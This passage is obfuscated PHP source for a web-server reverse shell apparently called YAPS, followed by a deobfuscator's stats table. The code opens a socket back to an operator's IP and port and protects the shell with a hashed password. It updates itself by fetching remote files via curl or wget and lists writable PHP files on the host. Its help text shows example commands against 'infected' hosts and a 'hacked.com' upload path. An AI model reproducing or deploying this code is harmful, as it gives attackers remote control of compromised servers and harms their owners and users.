1024))) { goto aulbt; } goto m0cA3; m0cA3: $i2CI7 = substr($LX188, 0, -1); goto r3OYd; HoJ_O: goto kqjs7; goto Unq4W; BrDIK: YfcP1: goto n1JyB; dCHP1: goto YfcP1; goto ZnjLt; ZnjLt: aulbt: goto HoJ_O; Unq4W: case "\62": goto oAfM_; VLG3q: goto kqjs7; goto m1ODy; oAfM_: kxFbS(); goto Dq9c4; Dq9c4: return; goto VLG3q; m1ODy: default: goto sPtlH; of1mC: goto kqjs7; goto kN21W; sPtlH: fwrite($uAREj, CejHD("\133\52\x5d\40") . "\103\141\x6e\143\x65\x6c\x65\x64\x2e\12"); goto jXytq; jXytq: return; goto of1mC; kN21W: } goto NkLH5; xuQks: znXXD: goto lgRwH; qumov: if (!($MnrhX = fread($uAREj, 8))) { goto uZZpy; } goto YfxyB; rL7Ah: uZZpy: goto i9cqp; M3DNN: goto YxAem; goto rL7Ah; TRlMz: if ($KQI8m) { goto htOzr; } goto hBfoX; NkLH5: pehUe: goto wry4Z; hBfoX: fwrite($uAREj, uIh9I("\133\41\x5d\x20\x50\141\163\x73\x77\157\x72\x64\x20\151\163\x20\144\x69\163\141\x62\x6c\x65\x64\x2e\40") . YMAPN("\x43\x68\x6f\157\163\145\x20\x61\156\40\x6f\160\x74\x69\x6f\x6e\72") . "\xa\x5b\x31\135\x20\123\x65\164\x20\141\40\160\141\163\x73\x77\x6f\x72\x64\12\x5b\62\x5d\x20\105\x6e\x61\x62\154\x65\40\x70\141\163\x73\x77\157\162\144\12\x5b\63\135\x20\x43\x61\x6e\143\x65\x6c\xa\76\x20"); goto LuFoE; rIjIf: sDDWs: goto M3DNN; oDEyQ: fwrite($uAREj, RM3Ui("\x5b\53\x5d\x20\x50\x61\163\x73\x77\157\x72\x64\40\x69\x73\x20\145\156\x61\x62\154\145\144\x2e\x20") . YmAPn("\x43\x68\x6f\157\163\x65\40\x61\x6e\x20\157\x70\164\151\157\156\72") . "\xa\x5b\61\x5d\40\103\x68\x61\x6e\147\145\x20\160\141\163\163\167\x6f\x72\x64\12\133\x32\135\x20\x44\151\x73\x61\x62\154\145\40\160\141\163\x73\x77\157\x72\x64\12\133\63\x5d\x20\x43\x61\x6e\x63\145\154\12\x3e\x20"); goto PauTE; LuFoE: YxAem: goto qumov; PauTE: iWGpj: goto Y08Eb; eqVsm: goto iWGpj; goto xuQks; wry4Z: kqjs7: goto eqVsm; OApTd: e6nGz: goto oDEyQ; aFNPt: return; goto OApTd; xOd1c: global $uAREj, $KQI8m; goto TRlMz; GNirA: fwrite($uAREj, LZmTI("\133\x2d\135\40") . "\40\x57\x72\157\156\147\x20\x70\x61\x73\x73\167\157\162\144\12"); goto aFNPt; ZBEFv: if (m27FS()) { goto e6nGz; } goto GNirA; StVO3: htOzr: goto ZBEFv; YfxyB: switch (substr($MnrhX, 0, -1)) { case "\x31": goto tXvLQ; g03kE: DbQqy: goto f1M9w; njXss: $i2CI7 = substr($LX188, 0, -1); goto MrAxK; MrAxK: wu9Hp($i2CI7); goto xywP2; f1M9w: if (!($LX188 = fread($uAREj, 1024))) { goto c_vvW; } goto njXss; jXgfj: goto sDDWs; goto dfRjY; tXvLQ: fwrite($uAREj, cejhd("\x5b\52\x5d\x20") . "\x43\x68\x6f\157\x73\145\40\x74\x68\x65\x20\x6e\x65\x77\40\x70\x61\163\x73\x77\x6f\162\144\72\40"); goto g03kE; w5Ljy: c_vvW: goto jXgfj; xywP2: return; goto kUDht; kUDht: goto DbQqy; goto w5Ljy; dfRjY: case "\62": goto glTA4; JcV39: goto sDDWs; goto RlDgD; SVAlW: return; goto JcV39; glTA4: KXFBs(); goto SVAlW; RlDgD: default: goto HOy_w; HOy_w: fwrite($uAREj, ceJhd("\x5b\52\x5d\40") . "\103\x61\156\x63\145\x6c\x65\x64\56\xa"); goto RKoBV; VLRPm: goto sDDWs; goto wYeRx; RKoBV: return; goto VLRPm; wYeRx: } goto Xaib_; Y08Eb: if (!($MnrhX = fread($uAREj, 8))) { goto znXXD; } goto H5lry; lgRwH: WsiD1: goto ddvRe; ddvRe: } goto k9Frq; KDFO8: function KXFbS() { goto Zidui; xg1wy: fwrite($uAREj, lzMTI("\x5b\55\x5d\40") . "\103\x6f\165\154\144\x6e\47\x74\x20\x64\x65\141\143\164\x69\166\x61\x74\x65\x20\160\141\x73\163\x77\157\x72\x64\x2e\xa"); goto feHw0; tOXKJ: c4mDB: goto xg1wy; K1g5i: $jO22u = file_get_contents($EhHpY); goto fAYg7; feHw0: return false; goto eLs4b; p3fPC: $us4GA = preg_replace("\x2f\x28\x5c\44\165\163\145\x5f\x70\x61\x73\x73\167\x6f\162\144\40\53\x3d\x20\53\51\x28\x74\x72\x75\145\x29\57", "\44\x31\x66\x61\x6c\163\x65", $jO22u, 1); goto VmFvh; oCItR: fwrite($uAREj, LZmtI("\x5b\55\135\x20") . "\103\x6f\x75\x6c\x64\156\x27\x74\x20\141\x63\x74\151\166\141\x74\145\40\160\141\163\163\x77\157\x72\144\56\xa"); goto BpfHC; U7h28: $KQI8m = false; goto Guk10; JR3Qy: return true; goto c84GR; c84GR: aUmn7: goto oCItR; Zidui: global $KQI8m, $uAREj, $EhHpY; goto K1g5i; vpfri: $us4GA = preg_replace("\57\x28\x5c\x24\x75\163\x65\137\160\141\x73\x73\167\157\x72\x64\40\53\x3d\40\x2b\x29\x28\146\141\x6c\163\145\x29\x2f", "\44\61\164\x72\165\145", $jO22u, 1); goto zwHWt; Guk10: fwrite($uAREj, rM3uI("\133\x2b\135\40") . "\x50\141\x73\x73\167\157\162\144\40\144\x65\x61\143\164\x69\166\141\x74\145\x64\x2e\12"); goto kMxDo; eLs4b: e_ZWn: goto vpfri; VmFvh: if (!file_put_contents($EhHpY, $us4GA)) { goto c4mDB; } goto U7h28; BpfHC: return false; goto rSrW6; zwHWt: if (!file_put_contents($EhHpY, $us4GA)) { goto aUmn7; } goto FlkO2; FlkO2: $KQI8m = false; goto KeTaj; fAYg7: if (!$KQI8m) { goto e_ZWn; } goto p3fPC; KeTaj: fwrite($uAREj, rM3Ui("\133\53\135\x20") . "\x50\141\163\163\x77\157\x72\144\40\141\x63\x74\151\166\x61\x74\145\x64\x2e\xa"); goto JR3Qy; kMxDo: return true; goto tOXKJ; rSrW6: } goto VhKuY; lxo2o: function wxePd($JeTvK) { goto hpdd8; rRfUx: NosUx: goto T3ELW; hpdd8: $GuZ9Z = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($JeTvK)); goto eC1eQ; T3ELW: sort($EOdvX); goto yaEK1; ZJqsY: foreach ($GuZ9Z as $cPjcu) { goto I9miR; beegn: if (!(substr($cPjcu->getPathName(), -4) == "\56\160\150\160")) { goto fkHuJ; } goto yfIGt; I9miR: if (!(!is_dir($cPjcu) && is_writable($cPjcu))) { goto J96nH; } goto I1fv2; I1fv2: if (!($cPjcu->getPathName() !== $_SERVER["\x53\x43\122\111\x50\124\137\x46\111\x4c\x45\x4e\101\115\105"])) { goto OYZUa; } goto beegn; zc8Dl: OYZUa: goto CU3FZ; CU3FZ: J96nH: goto Uwhkg; x5UG7: fkHuJ: goto zc8Dl; yfIGt: array_push($EOdvX, $cPjcu->getPathName()); goto x5UG7; Uwhkg: WcgzC: goto X1vtY; X1vtY: } goto rRfUx; yaEK1: return $EOdvX; goto tma5_; eC1eQ: $EOdvX = array(); goto ZJqsY; tma5_: } goto K_HTG; tab3p: xhE_i: goto zlVrl; v0h68: $jKLxg = "\146\x30\60\71\x34\65\70\x36\x30\x34\62\64\x66\141\x36\61\64\70\145\x33\62\x39\67\x37\62\143\x30\x38\145\67\x64\60\65\x64\x37\x66\141\x62\x36\146\x36\x39\141\64\67\x32\x32\142\x34\x63\66\66\x63\x31\x36\64\x61\143\144\x62\60\61\x38\x65\143\143\60\x63\142\143\x36\x32\60\x36\60\x63\143\66\x37\x65\x37\141\x65\71\x36\x32\x63\66\x35\x61\x62\65\x39\66\67\x36\62\60\x36\x32\x32\143\143\x31\62\62\60\66\66\62\67\62\62\x39\142\71\64\x31\x30\x36\142\x36\x36\x64\x62\x36\142\70"; goto EZJTP; fubYh: $fOhjn = $_POST["\170"]; goto Ez5vo; FwpcA: $uAREj = @fsockopen("\x74\x63\x70\x3a\57\57{$Wl17t}", $CjcQS); goto FDHb7; rvUIS: function ymApN($bQ2ee) { global $ClNqn; return $ClNqn ? "\33\x5b\71\67\x6d" . $bQ2ee . "\x1b\133\60\x6d" : $bQ2ee; } goto I5NDM; GnTs_: $cXy80 = true; goto AiAv3; qSrcY: function opHCx($Xlgnb) { goto HG6CN; GorWN: C43B9: goto N0dRa; gRuLq: goto wi7d7; goto GorWN; kNpWd: goto wi7d7; goto Ufy8F; n_8fy: $RllHw = $JWP0K; goto kNpWd; N0dRa: $RllHw = fread(fopen($Xlgnb, "\162"), 10); goto IIEKA; Si470: if (in_array("\143\165\x72\x6c", get_loaded_extensions())) { goto If8WP; } goto Z0LDq; yWU_A: wi7d7: goto MdPw3; u5sdT: nOsPn: goto n_8fy; Mc3bC: goto wi7d7; goto Hke_U; Ufy8F: DIYQ8: goto fiaxj; IIEKA: goto wi7d7; goto WzUYo; HG6CN: $RllHw = false; goto sJSjT; sJSjT: if (hHlp3("\146\x69\154\145\x5f\x67\145\x74\x5f\x63\x6f\156\164\145\156\164\163")) { goto NbEME; } goto QhCUP; pByUs: $v0doW = aLiu8(); goto tuKFu; WzUYo: If8WP: goto pByUs; tuKFu: NMGZw($v0doW, YMAZD, $Xlgnb); goto reXh5; Hke_U: NbEME: goto kl5ER; QhCUP: if (HHlP3("\x66\x72\145\x61\x64") && hhLp3("\x66\x6f\x70\145\x6e") && ini_get("\x61\x6c\x6c\157\x77\x5f\x75\162\154\x5f\146\157\x70\x65\x6e")) { goto C43B9; } goto Si470; MdPw3: return $RllHw; goto ji52R; LxM3N: if ($KF5IA = BZvNc("\167\x67\145\164\40\55\x71\117\55\x20" . $Xlgnb)) { goto DIYQ8; } goto Mc3bC; fiaxj: $RllHw = $KF5IA; goto yWU_A; Z0LDq: if ($JWP0K = bzvNC("\x63\165\162\154\x20\55\x73\x20" . $Xlgnb)) { goto nOsPn; } goto LxM3N; r6g6f: $RllHw = CMwYR($v0doW); goto lVR3k; lIyyH: goto wi7d7; goto u5sdT; reXh5: nmGzW($v0doW, i9c_j, 1); goto r6g6f; kl5ER: $RllHw = file_get_contents($Xlgnb); goto gRuLq; lVR3k: umygZ($v0doW); goto lIyyH; ji52R: } goto WxufR; QnZ0K: ANv1f: goto fubYh; jySDw: BGBwI: goto cqC3Y; oSjzr: die(aSbwT()); goto a5ta1; WqC1_: $Wl17t = $eMd2e[0]; goto uAvjk; y6Uvy: function M27FS() { goto rHD8n; uHKN_: rv0tR: goto CSLHh; rHD8n: global $uAREj, $jKLxg, $uUZsy; goto q728d; H2j9C: return hash("\x73\150\x61\x35\x31\x32", $uUZsy . hash("\x73\150\x61\x35\x31\62", $ULLJL, false), false) == $jKLxg ? true : false; goto pJ7qv; xS5mi: if (!($MnrhX = fread($uAREj, 1024))) { goto rv0tR; } goto uqOEs; pJ7qv: goto lNPsZ; goto uHKN_; uqOEs: $ULLJL = substr($MnrhX, 0, -1); goto H2j9C; q728d: fwrite($uAREj, UIh9i("\x5b\151\x5d\40") . "\x54\x68\151\x73\40\163\150\145\x6c\x6c\40\x69\x73\40\x70\162\157\x74\x65\143\164\145\x64\x2e\x20\xa\x45\x6e\x74\x65\162\x20\x74\x68\145\x20\160\x61\x73\x73\167\157\x72\144\72\40"); goto EUrSr; EUrSr: lNPsZ: goto xS5mi; CSLHh: } goto QDCYe; WxufR: function AsBWT() { goto Znld4; Ym1V6: if (!$AL54E) { goto YYUs2; } goto Etplz; dy0AZ: return; goto LkW1g; z864P: OcfXm: goto xUtYc; ENVSt: $NXS_0 = (int) str_replace("\x2e", '', $XmTBN); goto qsL53; tK1eF: $DWSJa = 0; goto eU9VK; Etplz: $DWSJa = $AL54E; goto WDNrW; Znld4: global $XmTBN, $LJ6mT; goto tK1eF; k0U6z: $AL54E = OPhCx($LJ6mT["\x76\x65\162\151\x66\x79\125\x70\144\141\x74\x65\125\122\114"]); goto Ym1V6; eU9VK: echo CEjHd("\x5b\x69\135\40") . "\131\157\165\162\40\x76\145\162\x73\x69\157\x6e\72\x20{$XmTBN}\56\40\103\150\x65\x63\153\x69\x6e\147\x20\x66\x6f\162\40\x75\160\x64\141\x74\145\x73\x2e\56\56\xa"; goto k0U6z; lOvgo: return; goto z864P; F5oA4: echo LZmtI("\x5b\x69\135") . "\40\x59\x6f\165\x72\x20\x76\145\x72\163\151\157\x6e\x20\151\163\40\x6e\x6f\164\40\x75\x70\x20\164\x6f\40\x64\x61\164\x65\x2e\12" . rM3UI("\x5b\104\117\127\x4e\x4c\117\101\104\x20\x76" . str_replace("\xa", '', $DWSJa) . "\135\x3a\40") . $LJ6mT["\165\160\144\x61\x74\x65\125\122\114"] . "\xa"; goto lOvgo; qsL53: if (!($NHAzM !== 0 && $NHAzM > $NXS_0)) { goto OcfXm; } goto F5oA4; xUtYc: echo rM3Ui("\x5b\53\x5d\40") . "\131\x41\120\123\40\x69\x73\x20\x61\154\162\145\141\144\171\x20\165\160\x20\164\x6f\40\x64\x61\x74\x65\40\x28\x76{$XmTBN}\51\41\12"; goto dy0AZ; WDNrW: YYUs2: goto zxNo3; zxNo3: $NHAzM = (int) str_replace("\x2e", '', $DWSJa); goto ENVSt; LkW1g: } goto lxo2o; FDHb7: if ($uAREj) { goto xhE_i; } goto mnyVm; AiAv3: $ClNqn = true; goto Y4EOn; SDnyY: CtuXZ: goto GTfrS; J8NCM: goto Q7Sy7; goto Rp7Lu; zRArR: function RHoLs($MVIQj = '') { goto ytN01; C2WCw: zhWR9: goto sjhy6; g5tpW: $MODFS = 0; goto lYHl6; ytN01: $hnfIR = implode('', array_merge(range("\x41", "\x5a"), range("\x61", "\x7a"), range(0, 9))); goto g5tpW; Z07ei: $MODFS++; goto yegqU; HUGw8: if (!($MODFS <= mt_rand(5, 6))) { goto zhWR9; } goto h3Za1; sjhy6: return $MVIQj; goto U9eO2; yegqU: goto Hk692; goto C2WCw; eSSDM: tw33B: goto Z07ei; h3Za1: $MVIQj .= $hnfIR[mt_rand(0, strlen($hnfIR) - 1)]; goto eSSDM; lYHl6: Hk692: goto HUGw8; U9eO2: } goto nzJCo; Y4EOn: $KQI8m = false; goto ZBwG1; UwwF6: PDG9R: goto T5sbc; QDCYe: function wu9hP($ZyceD) { goto sQeyu; zT0hQ: $jO22u = file_get_contents($EhHpY); goto N04gE; e2J7z: $jlU8Z = hash("\163\150\x61\65\x31\62", $uUZsy . hash("\x73\x68\x61\65\x31\x32", $ZyceD, false), false); goto eAFhP; eAFhP: if (!(!is_readable($EhHpY) || !is_writable($EhHpY))) { goto siqAA; } goto MaTUo; MaTUo: return false; goto Y3LgT; g3aLk: fwrite($uAREj, LzmtI("\x5b\x2d\135\x20") . "\103\x6f\x75\x6c\x64\156\x27\164\40\x72\145\x61\x64\x20\157\x72\40\x77\x72\151\x74\x65\x20\x74\x68\145\x20\x66\x69\154\145\x2e\x20\x41\162\x65\x20\164\150\x65\40\160\x65\162\155\x69\x73\163\x69\x6f\x6e\163\40\x72\151\147\150\x74\77\12" . BzvnC("\154\x73\40\x2d\154\x20" . $EhHpY . "\xa")); goto AdJJN; AdJJN: return false; goto EQJ6e; x3zg0: if (file_put_contents($EhHpY, $us4GA)) { goto QGwQS; } goto g3aLk; gllVf: u2JKx: goto ab_XC; sQeyu: global $uUZsy, $EhHpY, $uAREj; goto e2J7z; EQJ6e: goto u2JKx; goto iGffJ; PZfBw: return true; goto gllVf; Y3LgT: siqAA: goto zT0hQ; N04gE: $us4GA = preg_replace("\57\x5b\141\x2d\146\60\55\x39\x5d\x7b\61\x32\x38\x7d\x2f", $jlU8Z, $jO22u, 1); goto x3zg0; V68sK: fwrite($uAREj, RM3Ui("\x5b\53\135\x20") . "\120\x61\x73\x73\x77\x6f\162\144\x20\x63\150\x61\156\x67\x65\x64\56\40\x43\150\141\156\147\145\x73\40\x77\x69\154\x6c\x20\x74\141\153\145\x20\145\146\146\x65\143\x74\x20\x6f\156\40\x6e\145\x78\164\x20\x63\157\156\x6e\x65\x63\x74\x69\x6f\156\x2e\12"); goto PZfBw; iGffJ: QGwQS: goto V68sK; ab_XC: } goto KDFO8; nay2i: function m25sq() { } goto y6Uvy; eH1Oj: die("\x62\x61\147\165\x76\x69\x78"); goto wb4ms; FuViR: function NtGbG() { global $KmlyU, $XmTBN; return $KmlyU . "\xa" . Uih9i("\125\x73\141\x67\x65\72") . YMapn("\xa\124\150\145\162\x65\40\x61\x72\145\x20\164\150\162\x65\x65\x20\167\141\x79\163\40\x79\157\x75\x20\x63\141\x6e\40\x73\164\141\x72\164\x20\x74\x68\145\x20\143\x6f\x6e\x6e\145\x63\164\x69\x6f\156\72\12") . RM3Ui("\x31\56\x20\126\x69\x61\x20\143\x6f\155\x6d\x61\x6e\x64\x20\x6c\151\x6e\x65\40\151\156\40\x74\x68\145\x20\x63\x6f\x6d\x70\162\157\155\151\x73\x65\x64\x20\x68\157\163\164\73") . "\12\x9\x45\x2e\x67\x3a\40\x24\x20\160\x68\x70\40\x79\x61\x70\x73\56\160\x68\160\x20\x5b\157\x70\x74\151\x6f\x6e\163\135\x20\x5b\x69\160\40\160\x6f\162\x74\174\151\x70\x3a\x70\157\x72\x74\x5d\xa" . Rm3Ui("\62\x2e\x20\x4d\x61\153\x69\156\147\x20\141\x20\120\x4f\x53\x54\40\162\x65\x71\x75\145\x73\164\40\164\157\40\x74\150\x65\x20\146\151\154\145\40\167\151\164\x68\40\x74\x68\145\x20\160\141\x72\x61\155\x65\x74\145\162\40\42\170\x22\73") . "\xa\x9\x45\56\x67\x3a\40\44\40\143\165\x72\x6c\40\x2d\x58\x20\120\x4f\123\x54\40\x2d\144\40\42\x78\75\61\x39\62\x2e\61\66\x38\56\x37\x33\56\65\x39\x3a\x37\x33\x35\71\42\x20\150\x61\143\153\x65\144\56\x63\157\x6d\x2f\165\x70\154\157\x61\x64\163\x2f\x79\x61\160\x73\56\160\150\x70\xa" . RM3ui("\63\56\x20\x4d\x61\x6b\151\x6e\147\x20\x61\x20\x47\105\x54\x20\x72\x65\161\165\x65\x73\164\x20\167\151\164\150\157\165\x74\x20\x70\x61\162\x61\x6d\145\164\145\x72\163\40\x28\167\x69\154\x6c\40\x63\x6f\156\156\145\x63\164\x20\x74\157\40\164\150\145\x20\150\141\x72\144\x63\157\144\x65\x64\40\163\157\143\153\145\x74\x29\73") . "\12\x9\x45\56\x67\x3a\40\44\40\143\x75\x72\x6c\x20\x68\x61\x63\153\x65\x64\x2e\143\157\x6d\x2f\x75\x70\x6c\157\141\144\163\57\x79\x61\x70\x73\x2e\x70\150\160\12" . uih9I("\117\x70\164\151\157\156\x73\72") . ymApn("\xa\x2d\x68\54\40\x2d\55\150\145\154\x70\72\x20\x20\x20\x20\x20\x53\x68\x6f\167\x20\x74\x68\151\x73\40\150\x65\154\160\12\x2d\x73\x2c\x20\55\55\x73\151\x6c\145\156\164\72\40\x20\x20\x53\151\x6c\145\156\164\40\155\x6f\144\x65\40\50\144\157\x65\163\x20\156\157\x74\x20\144\151\x73\160\154\141\x79\x20\x62\141\156\x6e\x65\x72\51\12\55\x75\x2c\x20\55\x2d\x75\160\144\x61\164\x65\x3a\40\x20\x20\103\150\145\x63\153\40\151\x66\40\x59\x41\x50\x53\40\151\x73\40\x75\x70\x20\164\x6f\40\144\141\x74\145\12") . uIh9i("\105\170\141\155\160\x6c\145\163\40\50\163\x75\160\x70\157\x73\145\x20\171\157\165\x72\x20\x49\120\40\151\163\40\61\71\x32\x2e\x31\66\70\x2e\x37\x33\56\65\x39\x29\72") . "\xa\151\156\x66\x65\x63\164\145\144\x40\150\157\163\164\72\x7e\44\x20\x70\150\x70\40\x79\x61\x70\163\x2e\160\x68\x70\40\55\x73\x20\x31\x39\62\56\x31\66\x38\56\67\63\x2e\x35\71\x20\x34\x34\64\x34\xa\x69\x6e\x66\x65\x63\x74\145\144\100\150\x6f\163\x74\x3a\176\44\x20\x70\x68\160\x20\x79\141\x70\163\56\x70\150\x70\x20\61\71\x32\56\61\66\70\x2e\x37\63\x2e\x35\x39\72\70\60\x38\60\12\x79\x6f\165\162\100\155\x61\x63\x68\151\156\x65\72\x7e\44\40\x63\165\162\154\x20\x2d\130\40\120\117\123\x54\40\55\x64\x20\42\x78\75\x31\71\x32\56\x31\66\70\56\67\x33\x2e\65\71\42\x20\x68\x61\143\x6b\145\x64\56\x63\x6f\x6d\57\165\x70\x6c\157\141\144\x73\x2f\171\x61\x70\x73\56\160\x68\160\xa"; } goto i3xUL; QV346: if (!(isset($Iw5kV["\x68"]) || isset($Iw5kV["\x68\x65\x6c\160"]))) { goto BGBwI; } goto hxy3O; n2PRj: if (!(isset($_POST["\x78"]) && strpos($_POST["\x78"], "\x3a") !== false)) { goto PDG9R; } goto r0TwU; ZctMm: ASbwt(); goto SDnyY; YGibI: $Iw5kV = getopt($yR2xc, $RkFaU); goto QV346; EZJTP: $zQ6An = false; goto vGyvo; cqC3Y: if (!(isset($Iw5kV["\x75"]) || isset($Iw5kV["\165\160\144\141\x74\x65"]))) { goto NxhnN; } goto oSjzr; mnyVm: die(LZMTi("\x5b\55\x5d\x20") . "\x43\157\x75\x6c\144\156\x27\164\40\x63\x6f\x6e\x6e\145\143\x74\x20\164\x6f\x20\x73\x6f\x63\153\x65\164\x20{$Wl17t}\72{$CjcQS}\x2e"); goto tab3p; hT16v: $gSKFu = "\133\131\x41\120\x53\x5d\40" . str_replace(PHP_EOL, '', rm3UI(bZVnC("\167\x68\157\x61\x6d\x69") . "\100" . BzvnC("\x68\157\x73\x74\x6e\x61\155\x65")) . "\72" . CeJHD(BzvNc("\x70\x77\x64")) . "\x24\40"); goto VZr6w; sGI8N: foreach ($argv as $Ydm3e) { goto sxhpU; l7Tx2: grueb: goto OYO0E; qe_Mi: C_m3t: goto l7Tx2; lQX9T: $CjcQS = (int) $e18Ij[1]; goto qe_Mi; LGPgk: $Wl17t = $e18Ij[0]; goto lQX9T; lH1eP: $e18Ij = explode("\72", $Ydm3e); goto LGPgk; sxhpU: if (!(strpos($Ydm3e, "\x3a") !== false)) { goto C_m3t; } goto lH1eP; OYO0E: } goto B2xYa; Jm4uO: function Uih9i($bQ2ee) { global $ClNqn; return $ClNqn ? "\x1b\x5b\x39\63\x6d" . $bQ2ee . "\x1b\133\60\x6d" : $bQ2ee; } goto iUYCi; nzJCo: function MmrwO($Xlgnb, $tUEF_) { goto h3Zsq; D1aY7: $va7Pj = fopen($tUEF_ . "\x2f" . $lb0qE, "\167"); goto RuyBH; BsXUV: MfLrK: goto YHpZ1; h3Zsq: $lb0qE = rhols(); goto FtTlM; B2b41: if (!file_put_contents($tUEF_ . "\x2f" . $lb0qE, $D4Qq1)) { goto vhYJi; } goto qRG8p; yuVVf: if (!(hHLp3("\146\157\x70\x65\156") && HHlP3("\x66\x77\x72\151\164\145") && hhLP3("\146\143\154\x6f\163\145"))) { goto MfLrK; } goto D1aY7; RuyBH: if (!fwrite($va7Pj, $D4Qq1)) { goto LnwId; } goto sTEzV; UVfDH: vhYJi: goto mcAA2; aZ1t2: if (!HHLp3("\146\x69\154\x65\137\x70\165\164\137\143\157\x6e\x74\x65\156\164\x73")) { goto FhaJi; } goto B2b41; FtTlM: $D4Qq1 = opHcX($Xlgnb); goto aZ1t2; YHpZ1: return false; goto npX10; Neb4W: return $lb0qE; goto IGLA0; qRG8p: return $lb0qE; goto UVfDH; IGLA0: LnwId: goto BsXUV; mcAA2: FhaJi: goto yuVVf; sTEzV: fclose($va7Pj); goto Neb4W; npX10: } goto cBNkT; lA80q: jF4yA:Function Calls
| None |
Stats
| MD5 | 19f993b3c01875309b421fcd44f3a72a |
| Eval Count | 0 |
| Decode Time | 150 ms |